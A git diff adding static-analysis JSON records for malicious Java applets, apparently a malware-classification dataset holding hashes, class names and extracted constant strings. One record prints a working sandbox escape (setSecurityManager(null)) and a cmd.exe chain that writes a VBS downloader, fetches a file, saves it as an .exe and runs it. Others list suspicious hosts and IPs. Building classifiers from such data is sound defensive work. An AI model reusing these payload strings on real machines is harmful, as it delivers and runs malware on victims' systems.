"ee073ce83e14bd76f1571c9030d9f9c25fd0c1a3ccdc8ce0759a2547c08c4061"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/ee1f1e3e7b36baf790e685e6cce5adbc4400c2c9a64311e5c74678eaf6c4f315.results b/java_classification/data/malicious/ee1f1e3e7b36baf790e685e6cce5adbc4400c2c9a64311e5c74678eaf6c4f315.results
new file mode 100755
index 0000000..ef97179
--- /dev/null
+++ b/java_classification/data/malicious/ee1f1e3e7b36baf790e685e6cce5adbc4400c2c9a64311e5c74678eaf6c4f315.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"sourcefile": "hkxDftNXV.java", "class_name": "hkxDftNXV", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["<init>", "sHxtvsVg", "npCuSyas", "eOTlSEe"], "minor_version": 0, "const_pool_count": 134}}, "_id": "1cd8b97e-cdfd-4591-be13-8cf68338d05a", "verbose": {"java": {"constant strings": ["#(?(g\\',=g\\x1c\\x1b\\x05", "&9,\\'\\x1a=;,($", "#(?(g &g\\x0f %,\\x06<=9<=\\x1a=;,($", ">; =,", "close", ",1,*", ";,.:?;z{id:ik", "k", "", "#(?(g &g=$9- ;", "g,1,"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "9ccf8874e89a97b0fc9f16a9b9dce4b9ec2bb96e", "file_name": "java_malicious/ee1f1e3e7b36baf790e685e6cce5adbc4400c2c9a64311e5c74678eaf6c4f315", "_id": "1cd8b97e-cdfd-4591-be13-8cf68338d05a", "score": 0, "entropy": 5.861727879073504, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 2536, "ssdeep": "48:zg7lyFlMXYydN97XCCkBjVs+ji1GinUH819LgpFiI4:zcwFls09CN1vUc167z4", "sha256": "ee1f1e3e7b36baf790e685e6cce5adbc4400c2c9a64311e5c74678eaf6c4f315", "md5": "999e7bf09f550d29adc6ca4c2a6291cc", "parent_sha256": "ee1f1e3e7b36baf790e685e6cce5adbc4400c2c9a64311e5c74678eaf6c4f315"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/ee6dbb8c61b57058b8ad06705561737866849752392763c184307728b4f4f1fe.results b/java_classification/data/malicious/ee6dbb8c61b57058b8ad06705561737866849752392763c184307728b4f4f1fe.results
new file mode 100755
index 0000000..31154f1
--- /dev/null
+++ b/java_classification/data/malicious/ee6dbb8c61b57058b8ad06705561737866849752392763c184307728b4f4f1fe.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"class_name": "x/s", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 50, "method_names": ["<init>", "init", "a", "b", "a"], "minor_version": 0, "const_pool_count": 216}}, "_id": "a5328671-84fe-4744-8914-ec20156b9c48", "verbose": {"java": {"constant strings": ["", "/", "1WDyG", "358twyjD", "3FU4vL1tlGVCoNCi6j", "438D7hVlF6gMcE", "5LphG", "7bUwx", "8L8xqyTnvWwux", "BvXn47Fu5nd92A8ancuH", "C9G96k", "CjaU9BwIhEUmsM", "EgxuMX8yI9Yc", "FGaI6YfTG", "FwUGz3HAO4d", "GomK1YIhg1MqmbZCcFAG", "Heg2jKTTpNd", "Mdi2XiONHye1v", "NZ2KGYYiD6vzD8Rmo", "OsVPRbbXsH", "PVOVP99yeCYwZXIX0", "Pn3hBVRKbZFHXuv", "PoHgiPm0dCDXd2N0P", "RMKI0EFVOBgM6qa", "Rw3gW4", "Sas1Ls5dxIjtUo0", "TnEBazZ", "UGUmq", "VVeTscnV", "W1qHzEANya", "WP7C5b1YVr", "WnGrbGBtb", "Y0jYeGf", "c5TKhfYUq7yk", "cgdaCZ", "coqDYDUi2p", "fb5GaZDcuEm", "gfHeELANkhhgds", "h4wjIOvu", "hGqdi", "j2cqU", "jvd80lGd5CQAKMu7", "kKk1OBv3bGdQifcqgYn", "llW5YKd4tY", "mKldATGEPx0iY3OQhlb", "mdKQc37CEbHITp", "pQoXP0eiUwC0Q", "qDkPOoUuvnqLZ7aUqj", "rg4oa6hu1r", "riRyh2C5Gsc9KYRs", "s", "sBDBsI", "sNEnRu8xse7RewDI", "sXHYX07Ug5LZt7BGq", "s_", "svFNHAfqlF5w3ZuyWG", "v6KqbrSuPF", "xsxOVybkpVlS", "zKoGX0hEjX5L8uzD", "zrnv1dgzEcUiC8kyCaA"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "45cb557df0d6ca514829e3f8dc3052411eeb6a3f", "file_name": "java_malicious/ee6dbb8c61b57058b8ad06705561737866849752392763c184307728b4f4f1fe", "_id": "a5328671-84fe-4744-8914-ec20156b9c48", "score": 0, "entropy": 6.046077982250155, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 2973, "ssdeep": "48:Prx9lrtrGM/PxtLPjsoHHE6SxHOxGZdhG5Fba8WZ1qre/Qn6yzFHo9/KIZ/mfzft:X/rdEeeZ14e/Qn61SIZ/gfbuNgedo", "sha256": "ee6dbb8c61b57058b8ad06705561737866849752392763c184307728b4f4f1fe", "md5": "b409ad675af37f7c9da5f24e8588e4c1", "parent_sha256": "ee6dbb8c61b57058b8ad06705561737866849752392763c184307728b4f4f1fe"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/f00cad1b8628233ea1299ae0b775a62fade00381a32fb35e748c495cee55684b.results b/java_classification/data/malicious/f00cad1b8628233ea1299ae0b775a62fade00381a32fb35e748c495cee55684b.results
new file mode 100755
index 0000000..88fe61a
--- /dev/null
+++ b/java_classification/data/malicious/f00cad1b8628233ea1299ae0b775a62fade00381a32fb35e748c495cee55684b.results
@@ -0,0 +1 @@
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\ No newline at end of file
diff --git a/java_classification/data/malicious/f0ebf4a287ae05e7940609d43035b560a9714ee552b4155c006f93fa7685798a.results b/java_classification/data/malicious/f0ebf4a287ae05e7940609d43035b560a9714ee552b4155c006f93fa7685798a.results
new file mode 100755
index 0000000..a95ceba
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diff --git a/java_classification/data/malicious/f1adf25c934c1a46fa4fe29c2b1d57bf49a6a3d561f886739e667c6c937295b7.results b/java_classification/data/malicious/f1adf25c934c1a46fa4fe29c2b1d57bf49a6a3d561f886739e667c6c937295b7.results
new file mode 100755
index 0000000..8650046
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@@ -0,0 +1 @@
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diff --git a/java_classification/data/malicious/f1f2cefef4aa45eb41dae70356b45cee1e55cb19b2db2c6c474511ee90b391c5.results b/java_classification/data/malicious/f1f2cefef4aa45eb41dae70356b45cee1e55cb19b2db2c6c474511ee90b391c5.results
new file mode 100755
index 0000000..0c2cf9f
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@@ -0,0 +1 @@
+{"characteristics": {"java": {"sourcefile": "FfWOwFP.java", "class_name": "FfWOwFP", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["<init>", "yXPaozP"], "minor_version": 0, "const_pool_count": 88}}, "_id": "85c8ba62-7f00-4848-a0d3-7e1322ecf81d", "verbose": {"java": {"constant strings": ["\\n\\x01\\x16\\x01N\\x13\\x05\\x03\\x15\\x12\\t\\x14\\x19N0\\x05\\x12\\r\\t\\x13\\x13\\t\\x0f\\x0e\\x13", "\\n\\x01\\x16\\x01N\\x13\\x05\\x03\\x15\\x12\\t\\x14\\x19N!\\x0c\\x0c0\\x05\\x12\\r\\t\\x13\\x13\\t\\x0f\\x0e", "\\x01\\x04\\x04", "\\n\\x01\\x16\\x01N\\x13\\x05\\x03\\x15\\x12\\t\\x14\\x19N0\\x05\\x12\\r\\t\\x13\\x13\\t\\x0f\\x0e", "\\n\\x01\\x16\\x01N\\x0e\\x05\\x14N52,", "\\x06\\t\\x0c\\x05ZOOO", "\\n\\x01\\x16\\x01N\\x13\\x05\\x03\\x15\\x12\\t\\x14\\x19N\\x03\\x05\\x12\\x14N#\\x05\\x12\\x14\\t\\x06\\t\\x03\\x01\\x14\\x05", "\\n\\x01\\x16\\x01N\\x13\\x05\\x03\\x15\\x12\\t\\x14\\x19N#\\x0f\\x04\\x053\\x0f\\x15\\x12\\x03\\x05", "\\n\\x01\\x16\\x01N\\x13\\x05\\x03\\x15\\x12\\t\\x14\\x19N0\\x05\\x12\\r\\t\\x13\\x13\\t\\x0f\\x0e#\\x0f\\x0c\\x0c\\x05\\x03\\x14\\t\\x0f\\x0e", "\\n\\x01\\x16\\x01N\\x13\\x05\\x03\\x15\\x12\\t\\x14\\x19N0\\x12\\x0f\\x14\\x05\\x03\\x14\\t\\x0f\\x0e$\\x0f\\r\\x01\\t\\x0e", "\\n\\x01\\x16\\x01N\\x13\\x05\\x03\\x15\\x12\\t\\x14\\x19N!\\x03\\x03\\x05\\x13\\x13#\\x0f\\x0e\\x14\\x12\\x0f\\x0c#\\x0f\\x0e\\x14\\x05\\x18\\x14"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "c1049d156bd1f703a379d338a98c756943e039ca", "file_name": "java_malicious/f1f2cefef4aa45eb41dae70356b45cee1e55cb19b2db2c6c474511ee90b391c5", "_id": "85c8ba62-7f00-4848-a0d3-7e1322ecf81d", "score": 0, "entropy": 5.809925587126244, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 2094, "ssdeep": "48:29v3yFlQvYCqJFl1z8YTw8CPgkmz7FEjg0SzMik8C6rwm:2BiFlGYjJFz8YTw8CPhUF4S68C6rp", "sha256": "f1f2cefef4aa45eb41dae70356b45cee1e55cb19b2db2c6c474511ee90b391c5", "md5": "9e62b9549f49221dedd898d247bae74c", "parent_sha256": "f1f2cefef4aa45eb41dae70356b45cee1e55cb19b2db2c6c474511ee90b391c5"}}
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diff --git a/java_classification/data/malicious/f214ca1fa4e73d5c0ec26c99ae3222c2dc9a436aa4c2fcd8b2ba93b9d076a3c5.results b/java_classification/data/malicious/f214ca1fa4e73d5c0ec26c99ae3222c2dc9a436aa4c2fcd8b2ba93b9d076a3c5.results
new file mode 100755
index 0000000..19465bf
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+++ b/java_classification/data/malicious/f214ca1fa4e73d5c0ec26c99ae3222c2dc9a436aa4c2fcd8b2ba93b9d076a3c5.results
@@ -0,0 +1 @@
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diff --git a/java_classification/data/malicious/f21e35bc4c7ad29aa9bc0b85b4c04bb430b2cfd64c3537881ccf4f938ae8a5c6.results b/java_classification/data/malicious/f21e35bc4c7ad29aa9bc0b85b4c04bb430b2cfd64c3537881ccf4f938ae8a5c6.results
new file mode 100755
index 0000000..3e5e608
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+++ b/java_classification/data/malicious/f21e35bc4c7ad29aa9bc0b85b4c04bb430b2cfd64c3537881ccf4f938ae8a5c6.results
@@ -0,0 +1 @@
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diff --git a/java_classification/data/malicious/f299ca21815967534e588c241cf7d80cc70e44475bad56a556d29a6fd68807da.results b/java_classification/data/malicious/f299ca21815967534e588c241cf7d80cc70e44475bad56a556d29a6fd68807da.results
new file mode 100755
index 0000000..e7ed544
--- /dev/null
+++ b/java_classification/data/malicious/f299ca21815967534e588c241cf7d80cc70e44475bad56a556d29a6fd68807da.results
@@ -0,0 +1 @@
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\ No newline at end of file
diff --git a/java_classification/data/malicious/f36b0f4eab45e37aeaf27061daf3db870cf93ecc8212855850b05e436b3fc94d.results b/java_classification/data/malicious/f36b0f4eab45e37aeaf27061daf3db870cf93ecc8212855850b05e436b3fc94d.results
new file mode 100755
index 0000000..8381ba2
--- /dev/null
+++ b/java_classification/data/malicious/f36b0f4eab45e37aeaf27061daf3db870cf93ecc8212855850b05e436b3fc94d.results
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diff --git a/java_classification/data/malicious/f38f73b915639f4a9dda28d470e03583c6e50409996305d8ac541dae30d2fc7d.results b/java_classification/data/malicious/f38f73b915639f4a9dda28d470e03583c6e50409996305d8ac541dae30d2fc7d.results
new file mode 100755
index 0000000..552b15a
--- /dev/null
+++ b/java_classification/data/malicious/f38f73b915639f4a9dda28d470e03583c6e50409996305d8ac541dae30d2fc7d.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"sourcefile": "dwODN.java", "class_name": "dwODN", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["<init>", "DCgnuVZ", "IVXZQpWg", "SRqKeAiW", "vjiz"], "minor_version": 0, "const_pool_count": 140}}, "_id": "41e3b957-7fea-4c69-b1da-faf171be038b", "verbose": {"java": {"constant strings": ["LGPG\\x08HCR\\x08stj", "IVCHuRTCGK", "LGPG\\x08OI\\x08`OJCiSRVSRuRTCGK", "QTORC", "close", "C^CE", "TCAUPT\\x15\\x14\\x06\\x0bU\\x06\\x04", "\\x04", "", "LGPG\\x08OI\\x08RKVBOT", "\\x08C^C"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "f2330f4a8247e2a08535f7c9adebad10afcba064", "file_name": "java_malicious/f38f73b915639f4a9dda28d470e03583c6e50409996305d8ac541dae30d2fc7d", "_id": "41e3b957-7fea-4c69-b1da-faf171be038b", "score": 0, "entropy": 5.859009696842261, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 2754, "ssdeep": "48:Jg7lyFlOhnxFMfya9EsCCkxVBgckac36QHmEyxxZEg5Tasg+:JcwFlOny0xbt46Qx4xpdasB", "sha256": "f38f73b915639f4a9dda28d470e03583c6e50409996305d8ac541dae30d2fc7d", "md5": "e5252e5d315a5fade79d8e46b6e7f286", "parent_sha256": "f38f73b915639f4a9dda28d470e03583c6e50409996305d8ac541dae30d2fc7d"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/f3aff015b9e0c9af93be8ce02554509d13386a1cc9acc70f8b59572a0605e931.results b/java_classification/data/malicious/f3aff015b9e0c9af93be8ce02554509d13386a1cc9acc70f8b59572a0605e931.results
new file mode 100755
index 0000000..221dfb7
--- /dev/null
+++ b/java_classification/data/malicious/f3aff015b9e0c9af93be8ce02554509d13386a1cc9acc70f8b59572a0605e931.results
@@ -0,0 +1 @@
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\ No newline at end of file
diff --git a/java_classification/data/malicious/f3ffa2d8234fecf7d11f2d301ed535a6031dd2f19908ff15c175f334c31eefc2.results b/java_classification/data/malicious/f3ffa2d8234fecf7d11f2d301ed535a6031dd2f19908ff15c175f334c31eefc2.results
new file mode 100755
index 0000000..fe26a64
--- /dev/null
+++ b/java_classification/data/malicious/f3ffa2d8234fecf7d11f2d301ed535a6031dd2f19908ff15c175f334c31eefc2.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"sourcefile": "GNRTBMO.java", "class_name": "CQAfR/GNRTBMO", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["<init>", "ojBvs", "jZgqhfL", "HDmTr"], "minor_version": 0, "const_pool_count": 183}}, "_id": "3eb19b1a-233f-4db3-818e-370b2556626e", "metadata": {"mimetype": "application/x-java-applet", "sha1": "d1891e105c5c664840f31547daf6474bcb32de8b", "file_name": "java_malicious/f3ffa2d8234fecf7d11f2d301ed535a6031dd2f19908ff15c175f334c31eefc2", "_id": "3eb19b1a-233f-4db3-818e-370b2556626e", "score": 0, "entropy": 5.2791163950163575, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 3062, "ssdeep": "48:l+EQzGOfDyFl7rgmwMuvxgJdgdMlMeEyEu06UeECI4q6hO/a0NwEOlEuUYbPM+EG:l+EQTmFlQCuKJd8MlMeEyEu06UeECVqq", "sha256": "f3ffa2d8234fecf7d11f2d301ed535a6031dd2f19908ff15c175f334c31eefc2", "md5": "a306aca97d34de41a99ee107f0effa3c", "parent_sha256": "f3ffa2d8234fecf7d11f2d301ed535a6031dd2f19908ff15c175f334c31eefc2"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/f532f71ea64e4e23fce29f03ece865d3bf14117415c029557d7b6677c9ebacdf.results b/java_classification/data/malicious/f532f71ea64e4e23fce29f03ece865d3bf14117415c029557d7b6677c9ebacdf.results
new file mode 100755
index 0000000..b527c67
--- /dev/null
+++ b/java_classification/data/malicious/f532f71ea64e4e23fce29f03ece865d3bf14117415c029557d7b6677c9ebacdf.results
@@ -0,0 +1 @@
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"1003100D50032002A0000000400", "0100200001002B00000002002C", "file:///", "a.Time"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "ae05696325c7b6da9de74dfe7aba6c26c5c34a7a", "file_name": "java_malicious/f532f71ea64e4e23fce29f03ece865d3bf14117415c029557d7b6677c9ebacdf", "_id": "e8cbd0b6-94b7-4116-905a-2998d024f8c2", "score": 0, "entropy": 5.412116961637783, "libmagic": "compiled Java class data, version 48.0 (Java 1.4)", "file_size": 7307, "ssdeep": "96:34F4FlCA+OnZEv7erV9LM7hER6WQKyOZv7fhmuiCFgI5BX7JVFS2TKpHU4:llCA+OneeTUKRZ8Oh7fhCcf5lvEEgU4", "sha256": "f532f71ea64e4e23fce29f03ece865d3bf14117415c029557d7b6677c9ebacdf", "md5": "9cc87dee058de396fed33104178cf815", "parent_sha256": "f532f71ea64e4e23fce29f03ece865d3bf14117415c029557d7b6677c9ebacdf"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/f57c610ed52ee1ee8f8dd3a5e85b635437cd4878e8b71018f87695a1fdd6acee.results b/java_classification/data/malicious/f57c610ed52ee1ee8f8dd3a5e85b635437cd4878e8b71018f87695a1fdd6acee.results
new file mode 100755
index 0000000..f3f7d96
--- /dev/null
+++ b/java_classification/data/malicious/f57c610ed52ee1ee8f8dd3a5e85b635437cd4878e8b71018f87695a1fdd6acee.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"class_name": "x/p", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "interfaces": ["java/io/Serializable", "java/security/PrivilegedExceptionAction"], "major_version": 50, "method_names": ["<init>", "run", "pl", "a"], "minor_version": 0, "const_pool_count": 419}}, "_id": "2e9f961f-12f8-46e9-8fd3-d1e07b97ac3d", "verbose": {"java": {"constant strings": [".e", "/", "//", "1I0u7", "1oy857Ojk", "217.73.56.45", "217.73.63.204", "25csPiGzcjuLbQ7Xru", "2LoIC", "2RnoSWIu2pi7T7pFGmB", "2mN5squxrnLn33n4wr8", "3eBhR3", "47n9APVcG", "4GSFP1DGWg", "5kbf8UKaGN", "5rVmPhGC", "7O97w2a1VRw6Ywa3yG", "8ZHDN9HyGo", "9qu7NddEH4Ry3Gv5On61", "BbNk4YWZ6", "DBxlxrtZynPksnaX3", "DN5SR5Y", "DZrRfWW0kALM29keYAC", "Db67np", "DvgpqxHmXfNY9GdPWW1N", "EG719aVy", "EIpv2SG", "FRjhEo4WNIXq35R0B", "G9xUppdj3qiY", "GK6hNfTgnxtfC7", "GNqolnUxbjCYnv", "GQh6huoOcrrZyP", "GTypKFy1eS", "Ge6fPU0S0FtqW0NWMB", "GeRBKhGSTBMIQteRs", "Gk40TpN5x8", "Gy2xVg6amauvonRi1M6", "HZTreLHpua988WFOiX9m", "HsaNEV599F", "IZpRUDz6mIK", "KNlANF0e2e", "L9OGeiyw0SQK9Cx2vpS", "M1Kh1", "MVyLdl0duVSz", "Mj6Syz", "OG2vDGl2VgzGQ6qy", "PNLtGugPAXHrAmL", "RKLYumviwz6eaRPVmHL", "RdvtoodnmGCG", "Rrxi4Tow6wUiVxdYb", "Ry5bnwRREA3", "SvfGr6lCfqrwV8G", "WHWG0MF", "WNYlK", "XXdkLy0pvIQ", "YcEdWruv", "Yx8bIQV", "ZOjH3jT0INhf0pv", "ZzYfbY8IWPhUlGeo0WK4", "\\\\", "_", "bing.com", "cbk5aoms6LLEVkoGf9IY", "cdn.connect.mail.ru", "dir", "dt5y78PbFF1Zz7tE9", "f7ffh1lcVOkkiuErh", "f9VMdMq6", "fGk4", "fjH71iFYFDyaQkhZyB", "fuo1ftlOF4N6xpP", "fxCHtcNw7vGrMLIAaIo", "g3rMsA", "gLlsy1VfLUKXKm", "gTqtj", "gYWgm6UGvo3s5nHOuD", "ga9Z9qP6qRv9", "gfZBdfYEGLN4PqrPz9f", "go.mail.ru", "h8x5iHMTfF9BzBm", "hF1Ew", "home.webalta.ru", "ht", "http://browserhelp.ru", "iDyxRpAt", "jObsU1k", "ja", "jw82o3Ka", "kLE0nm3FQ", "mff0mCDL3pwihjGLszG", "mh6kPcCtTEwo80Y", "mp", "nYhVPa0IC", "nova.rambler.ru", "o.t", "oLlGbSQxa2Fr664", "oOvp2E", "oTAeVUKd", "pSwo3v5SWsOq2wn0b", "qbfy6HOKm0ZYSNpBidZ", "quOW7tT", "rNlbIPYA1IFT1", "rvg7X50", "sDHP51ZrGR2Z7OOXkYR", "sDkGVw", "sYHG3cyGLkOEn", "smaxi.biz", "smaxi.net", "st0.userapi.com", "st1.userapi.com", "st2.userapi.com", "st3.userapi.com", "st4.userapi.com", "st5.userapi.com", "st6.userapi.com", "st7.userapi.com", "st8.userapi.com", "st9.userapi.com", "start.qip.ru", "start.webalta.ru", "stg.odnoklassniki.ru", "tp:", "uTnbEj", "userapi.com", "va.i", "w9OL5wUXwDmw", "wB5DUupMRXZuLL291TH", "wCi5ea6DHB81seIbPmGB", "webalta.ru", "wqyYLtEVH", "www.smaxi.biz", "www.smaxi.net", "www.webalta.ru", "xRgoo8", "xe", "xg9gBs5VS7GVFNiW1lh", "yZVPdXZnmDj27IQzhg2G", "yahoo.com"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "3edc17976e99b2cc95d7b12e1f34324b4499639e", "file_name": "java_malicious/f57c610ed52ee1ee8f8dd3a5e85b635437cd4878e8b71018f87695a1fdd6acee", "_id": "2e9f961f-12f8-46e9-8fd3-d1e07b97ac3d", "score": 0, "entropy": 6.235571684180332, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 5963, "ssdeep": "96:gik7EaPAECEpZDOLZpty5q8URpOgPn3mpr3bQnQnV7O:m7E/wssq9nErQnQJO", "sha256": "f57c610ed52ee1ee8f8dd3a5e85b635437cd4878e8b71018f87695a1fdd6acee", "md5": "a7700c950d1ee6f3e7b6cf5c99767189", "parent_sha256": "f57c610ed52ee1ee8f8dd3a5e85b635437cd4878e8b71018f87695a1fdd6acee"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/f6332c9cfeaa4a0d0a80a4cd5fcefa2334880f444c8ca1f0b070cb8790d2ed04.results b/java_classification/data/malicious/f6332c9cfeaa4a0d0a80a4cd5fcefa2334880f444c8ca1f0b070cb8790d2ed04.results
new file mode 100755
index 0000000..8d842c5
--- /dev/null
+++ b/java_classification/data/malicious/f6332c9cfeaa4a0d0a80a4cd5fcefa2334880f444c8ca1f0b070cb8790d2ed04.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"sourcefile": "GonbadGonbadExp.java", "class_name": "GonbadGonbadExp", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 45, "method_names": ["<init>", "init"], "minor_version": 3, "const_pool_count": 133}}, "_id": "d3099971-815d-4064-bf76-3b488e7ef265", "verbose": {"java": {"constant strings": ["java.lang.System.setSecurity", "JoUyJn2SSkeT0UXrL", "dota", "= function", "j", "return \"exploit!\";};", "s", "error.message = this;", "nts(0)", "cho UR", "var error = new Error(\"My error\");this.toString ", "(){ ", "Manager(null);java.lang.Runtime.getRuntime().exec(\\'cmd.exe /c e", "L = LCase(WScript.Argume", ")>\"%temp%\\\\\\\\JoUyJn2S.vbs\"&&cmd.exe /c echo dim m,s,gond>>\"%temp%\\\\\\\\JoUyJn2S.vbs\"&&cmd.exe /c echo gond=\"JoUyJn2SSkeT0UXr\">>\"%temp%\\\\\\\\JoUyJn2S.vbs\"&&cmd.exe /c echo m=\"Mvivcvrvovsvovfvtv.vXvMvLvHvTvTvP\">>\"%temp%\\\\\\\\JoUyJn2S.vbs\"&&cmd.exe /c echo s=\"AzDzOzDBz.zSztzrzezazm\">>\"%temp%\\\\\\\\JoUyJn2S.vbs\"&&cmd.exe /c echo set cmd =Createobject(replace(m,\"v\",\"\")) >>\"%temp%\\\\\\\\JoUyJn2S.vbs\"&&cmd.exe /c echo cmd.Open \"GET\",URL,0 >>\"%temp%\\\\\\\\JoUyJn2S.vbs\"&&cmd.exe /c echo cmd.Send()>>\"%temp%\\\\\\\\JoUyJn2S.vbs\"&&cmd.exe /c echo FileName=LCase(WScript.Arguments(1))>>\"%temp%\\\\\\\\JoUyJn2S.vbs\"&&cmd.exe /c echo Set CsCriptGet = Createobject(replace(s,\"z\",\"\"))>>\"%temp%\\\\\\\\JoUyJn2S.vbs\"&&cmd.exe /c echo CsCriptGet.Mode=^3>>\"%temp%\\\\\\\\JoUyJn2S.vbs\"&&cmd.exe /c echo CsCriptGet.Type=^1>>\"%temp%\\\\\\\\JoUyJn2S.vbs\"&&cmd.exe /c echo CsCriptGet.Open()>>\"%temp%\\\\\\\\JoUyJn2S.vbs\"&&cmd.exe /c echo CsCriptGet.Write(cmd.responseBody)>>\"%temp%\\\\\\\\JoUyJn2S.vbs\"&&cmd.exe /c echo CsCriptGet.SaveToFile FileName,^2>>\"%temp%\\\\\\\\JoUyJn2S.vbs\"&&cmd.exe /c cscript \"%temp%\\\\\\\\JoUyJn2S.vbs\" ", " \"%temp%\\\\\\\\Gondad.exe\"&& \"%temp%\\\\\\\\Gondad.exe\"\\');", "error"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "3b98c8c3fd0d567db87d39dd6f9b935931c3bfa1", "file_name": "java_malicious/f6332c9cfeaa4a0d0a80a4cd5fcefa2334880f444c8ca1f0b070cb8790d2ed04", "_id": "d3099971-815d-4064-bf76-3b488e7ef265", "score": 0, "entropy": 5.901309268749143, "libmagic": "compiled Java class data, version 45.3", "file_size": 3287, "ssdeep": "96:izGlhWe3NwukmsPUEYa3dNdD8X/PwumkcI:TlQe9wukBsEz3d3D8vDN", "sha256": "f6332c9cfeaa4a0d0a80a4cd5fcefa2334880f444c8ca1f0b070cb8790d2ed04", "md5": "3f14c2ecd974618a659c1107e5676f80", "parent_sha256": "f6332c9cfeaa4a0d0a80a4cd5fcefa2334880f444c8ca1f0b070cb8790d2ed04"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/f799222fa2ede5d20816bbd625421e95d18e2d875f23765cddc80766515f88de.results b/java_classification/data/malicious/f799222fa2ede5d20816bbd625421e95d18e2d875f23765cddc80766515f88de.results
new file mode 100755
index 0000000..d8b9c66
--- /dev/null
+++ b/java_classification/data/malicious/f799222fa2ede5d20816bbd625421e95d18e2d875f23765cddc80766515f88de.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"sourcefile": "HyQkTrd.java", "class_name": "QvpGop/HyQkTrd", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["<init>", "drubopm", "DFCDv", "wjgudC", "wBGqtCeeE", "dQyQHLra"], "minor_version": 0, "const_pool_count": 207}}, "_id": "dfa6cc64-49e3-4fac-a3f6-b2c953bcd68e", "metadata": {"mimetype": "application/x-java-applet", "sha1": "bb64691b2e1723c7291f00cc78ee3d1cc9591eb0", "file_name": "java_malicious/f799222fa2ede5d20816bbd625421e95d18e2d875f23765cddc80766515f88de", "_id": "dfa6cc64-49e3-4fac-a3f6-b2c953bcd68e", "score": 0, "entropy": 5.452018957126809, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 3191, "ssdeep": "96:GzrtBFls3CMFWPeYVL5oi0/Os2PgVMfUc9rDJ:GFzls3JWWYToz/OsMMc9HJ", "sha256": "f799222fa2ede5d20816bbd625421e95d18e2d875f23765cddc80766515f88de", "md5": "8671cfd92343613560063cbe7d7bc83c", "parent_sha256": "f799222fa2ede5d20816bbd625421e95d18e2d875f23765cddc80766515f88de"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/f86f2d0eb88ba444dec4a68b2b17a17b96d356c21db3c1242dc3f1a8777201e6.results b/java_classification/data/malicious/f86f2d0eb88ba444dec4a68b2b17a17b96d356c21db3c1242dc3f1a8777201e6.results
new file mode 100755
index 0000000..652866e
--- /dev/null
+++ b/java_classification/data/malicious/f86f2d0eb88ba444dec4a68b2b17a17b96d356c21db3c1242dc3f1a8777201e6.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"sourcefile": "VirusInfo.java", "class_name": "VirusInfo", "access_permissions": ["ACC_PUBLIC"], "major_version": 45, "method_names": ["main", "<init>"], "minor_version": 3, "const_pool_count": 133}}, "_id": "6bd11490-4a96-4591-bbe7-310808390073", "verbose": {"java": {"constant strings": ["\\t|", " \\t |    \\t", " \\t|", "  \\t |   \\t", ".class", "Landing Camel International", "Usage: java VirusInfo file.class", "Virus Information Recovery (c) 1998", "r", "user.dir", "|      [ field name ]     |    [ dec ]   |   [ hex ]    |", "|  virus_code_length      |   \\t", "|  virus_cp_count         |  \\t", "|  virus_cp_length        |   \\t", "|  virus_method_length    |   \\t", "|-------------------------------------------------------|"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "b681d40bc44ef99f04111e92f95b48f62f7f0d99", "file_name": "java_malicious/f86f2d0eb88ba444dec4a68b2b17a17b96d356c21db3c1242dc3f1a8777201e6", "_id": "6bd11490-4a96-4591-bbe7-310808390073", "score": 0, "entropy": 5.80287956953279, "libmagic": "compiled Java class data, version 45.3", "file_size": 2302, "ssdeep": "48:Q5YzV2AMpSW0rfFk9znbr6IvSfP8TckIz0IglVq4zo:ZzVHr7ySfDWqEo", "sha256": "f86f2d0eb88ba444dec4a68b2b17a17b96d356c21db3c1242dc3f1a8777201e6", "md5": "06e4ad527c1ab1af3eada4e8863503b9", "parent_sha256": "f86f2d0eb88ba444dec4a68b2b17a17b96d356c21db3c1242dc3f1a8777201e6"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/f9cc26c6cf5e304538312122b24625cecbac07a63d6f7805dc6f696edb966c08.results b/java_classification/data/malicious/f9cc26c6cf5e304538312122b24625cecbac07a63d6f7805dc6f696edb966c08.results
new file mode 100755
index 0000000..9c4825e
--- /dev/null
